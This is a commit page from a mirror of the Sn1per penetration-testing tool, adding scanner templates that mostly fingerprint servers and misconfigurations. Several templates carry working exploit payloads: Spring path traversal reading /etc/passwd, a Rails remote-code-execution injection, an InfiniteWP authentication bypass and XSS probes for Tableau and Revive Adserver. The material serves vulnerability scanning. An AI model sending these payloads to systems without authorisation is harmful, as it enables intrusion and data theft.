RomanNum3ral
/
Sn1per
mirror of https://github.com/1N3/Sn1per.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Added 20+ new Sc0pe templates

This commit is contained in:
@xer0dayz 2020-06-25 12:51:11 -07:00 committed by xer0dayz
parent 4985da2a76
commit 640dfcfcf3
31 changed files with 241 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
templates/active/Apache_Solr_Scanner.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='Apache Solr Detected'
URI='/'
METHOD='GET'
MATCH='<title>Solr Admin</title>'
MATCH="Solr\ Admin"
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''

9
templates/active/Apache_Tomcat_Scanner.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='Apache Tomcat Detected'
URI='/404_DOES_NOT_EXIST'
METHOD='GET'
MATCH="Apache\ Tomcat"
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

14
templates/active/CVE-2019-19719_Tableau_Server_DOM_XSS.py Normal file
View File

@ -0,0 +1,14 @@
# Import any WebDriver class that you would usually import from
# selenium.webdriver from the seleniumrequests module
import sys
from seleniumrequests import Firefox
url = sys.argv[1]
# Simple usage with built-in WebDrivers:
webdriver = Firefox()
response = webdriver.request('GET', '%s/en/embeddedAuthRedirect.html?auth=javascript:document.write(1+1336)' % url)
if '1337' in response.text:
print("Vulnerable!")
print(response.text)
webdriver.quit()
SECONDARY_COMMANDS=''

9
templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_1.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-5405 - Spring Directory Traversal 1'
URI="/a/a/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../etc/passwd"
METHOD='GET'
MATCH="root\:|nameserver|\[extensions\]"
SEVERITY='P1 - CRITICAL'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_2.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-5405 - Spring Directory Traversal 2'
URI="/a/a/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../etc/resolv.conf"
METHOD='GET'
MATCH="root\:|nameserver|\[extensions\]"
SEVERITY='P1 - CRITICAL'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_3.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-5405 - Spring Directory Traversal 2'
URI="/a/a/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../Windows/win.ini"
METHOD='GET'
MATCH="root\:|nameserver|\[extensions\]"
SEVERITY='P1 - CRITICAL'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

12
templates/active/CVE-2020-8115_-_Revive_Adserver_XSS.py Normal file
View File

@ -0,0 +1,12 @@
# Import any WebDriver class that you would usually import from
# selenium.webdriver from the seleniumrequests module
import sys
from seleniumrequests import Firefox
url = sys.argv[1]
# Simple usage with built-in WebDrivers:
webdriver = Firefox()
response = webdriver.request('GET', '%s/www/delivery/afr.php?refresh=10000&")\',10000000);document.write(1+1336);setTimeout(\'alert("' % url)
if '1337' in response.text:
print("Vulnerable!")
webdriver.quit()

9
templates/active/CVE-2020-8163_-_Rails_5.0.1_Remote_Code_Execution.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-8163 - Rails < 5.0.1 Remote Code Execution'
URI='/?system(%27echo+$((1%2B1336))%27)%3ba%23'
METHOD='GET'
MATCH="1337"
SEVERITY='P1 - CRITICAL'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/CVE-2020-8772_-_IfiniteWP_Client_1.9.4.5_Authentication_Bypass_1.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-8772 - InfiniteWP Client 1.9.4.5 - Authentication Bypass 1'
URI='/wp-admin/'
METHOD='POST'
MATCH="content\=\"WordPress\ "
SEVERITY='P2 - HIGH'
CURL_OPTS="--user-agent '' -s -L --insecure -H 'Content-Type: application/x-www-form-urlencoded' --data '_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ=='"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

2
templates/active/Citrix_VPN_Scanner.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='Citrix VPN Detected'
URI='/vpn/index.html'
METHOD='GET'
MATCH='Gateway'
MATCH="Netscaler\ Gateway"
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''

10
templates/active/Clickjacking.sh Normal file
View File

@ -0,0 +1,10 @@
AUTHOR='@xer0dayz'
VULN_NAME='Clickjacking'
URI='/'
METHOD='GET'
MATCH='X-Frame-Options'
SEVERITY='P4 - LOW'
CURL_OPTS="--user-agent '' -s -I"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'
SEARCH="negative"

2
templates/active/Contact_Form_7_Wordpress_Plugin_Found_1.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='Contact Form 7 Wordpress Plugin Found 1'
URI="/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/readme.txt"
METHOD='GET'
MATCH='Contact Form 7'
MATCH="Contact\ Form\ 7"
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s --insecure"
SECONDARY_COMMANDS=''

2
templates/active/Contact_Form_7_Wordpress_Plugin_Found_2.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='Contact Form 7 Wordpress Plugin Found 2'
URI="/wordpress/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/readme.txt"
METHOD='GET'
MATCH='Contact Form 7'
MATCH="Contact\ Form\ 7"
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s --insecure"
SECONDARY_COMMANDS=''

9
templates/active/Directory_Listing_Enabled.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='Directory Listing Enabled'
URI='/'
METHOD='GET'
MATCH='To Parent Directory'
SEVERITY='P4 - LOW'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/Drupal_Install_Found.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='Drupal Install Found'
URI='/install.php?profile=default'
METHOD='GET'
MATCH='Choose language | Drupal'
SEVERITY='P3 - MEDIUM'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/JK_Status_Manager.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='JK Status Manager'
URI='/jkstatus/'
METHOD='GET'
MATCH="JK\ Status\ Manager"
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/Jenkins_Scanner.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='Jenkins Detected'
URI='/login?from=%2F'
METHOD='GET'
MATCH="\[Jenkins\]"
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/Jetty_Version_Disclosure.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='Jetty Version Disclosure Detected'
URI='/'
METHOD='GET'
MATCH='Powered by Jetty'
SEVERITY='P4 - LOW'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/Jolokia_Version_Disclosure.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='Jolokia Version Disclosure'
URI='/jolokia/version'
METHOD='GET'
MATCH="\"agent\"\:"
SEVERITY='P4 - LOW'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/Laraval_Environment_File_Found.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='Laraval Environment File Found'
URI='/.env'
METHOD='GET'
MATCH="APP_NAME"
SEVERITY='P3 - MEDIUM'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/TeamQuest_Login_Found.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='TeamQuest Login Found'
URI='/teamquest/cgi-bin/login'
METHOD='GET'
MATCH='TeamQuest - Login'
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/Weblogic_Application_Server_Detected.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='Weblogic Application Server Detected'
URI='/'
METHOD='GET'
MATCH="Weblogic\ Application\ Server"
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

8
templates/passive/CORS_Policy_-_Allow-Origin_Wildcard.sh Normal file
View File

@ -0,0 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='CORS Policy - Allow-Origin Wildcard'
FILENAME="$LOOT_DIR/web/headers-htt*-$TARGET.txt"
MATCH='Access-Control-Allow-Origin: *'
SEVERITY='P4 - LOW'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''

8
templates/passive/Clear-text_Communications_HTTP.sh Normal file
View File

@ -0,0 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='Clear-Text Protocol - HTTP'
FILENAME="$LOOT_DIR/web/headers-http-$TARGET.txt"
MATCH="200\ OK"
SEVERITY='P2 - HIGH'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''

8
templates/passive/Interesting_Domain_Found.sh Normal file
View File

@ -0,0 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='Interesting Domain Found'
FILENAME="$LOOT_DIR/domains/domains-all-sorted_NA.txt"
MATCH='admin|dev|portal|stage|prod|tst|test'
SEVERITY='P5 - INFO'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''

8
templates/passive/Interesting_Ports_Found.sh Normal file
View File

@ -0,0 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='Interesting Ports Found'
FILENAME="$LOOT_DIR/nmap/ports-$TARGET.txt"
MATCH='80|443'
SEVERITY='P5 - INFO'
GREP_OPTIONS='-iv'
SEARCH='positive'
SECONDARY_COMMANDS=''

8
templates/passive/Interesting_Title_Found.sh Normal file
View File

@ -0,0 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='Interesting Title Found'
FILENAME="$LOOT_DIR/web/title-htt*-$TARGET.txt"
MATCH='admin|dev|portal'
SEVERITY='P5 - INFO'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''

4
templates/passive/Lack_of_SPF_DNS_Record.sh
View File

@ -1,7 +1,7 @@
AUTHOR='@xer0dayz'
VULN_NAME='Lack of SPF DNS Record'
FILENAME="$LOOT_DIR/nmap/email-$TARGET-*.txt"
MATCH='\[\+\] Spoofing possible'
FILENAME="$LOOT_DIR/nmap/email-$TARGET.txt"
MATCH="\[\+\]\ Spoofing\ possible"
SEVERITY='P4 - LOW'
GREP_OPTIONS='-i'
SEARCH='positive'

8
templates/passive/Possible_Takeover_Detected.sh Normal file
View File

@ -0,0 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='Possible Takeover Detected'
FILENAME="$LOOT_DIR/nmap/takeovers-$TARGET.txt"
MATCH='netlify|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|modulus|unbounce|uservoice|wpengine|cloudapp'
SEVERITY='P5 - INFO'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''

8
templates/passive/Subjack_Takeover_Detected.sh Normal file
View File

@ -0,0 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='Subjack Takeover Detected'
FILENAME="$LOOT_DIR/nmap/subjack-$TARGET.txt"
MATCH='anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost\.io|ghost\.org|ghost\.com|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp'
SEVERITY='P2 - HIGH'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''

8
templates/passive/Subover_Takeover_Detected.sh Normal file
View File

@ -0,0 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='Subover Takeover Detected'
FILENAME="$LOOT_DIR/nmap/subover-$TARGET.txt"
MATCH='netlify|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|modulus|unbounce|uservoice|wpengine|cloudapp'
SEVERITY='P2 - HIGH'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''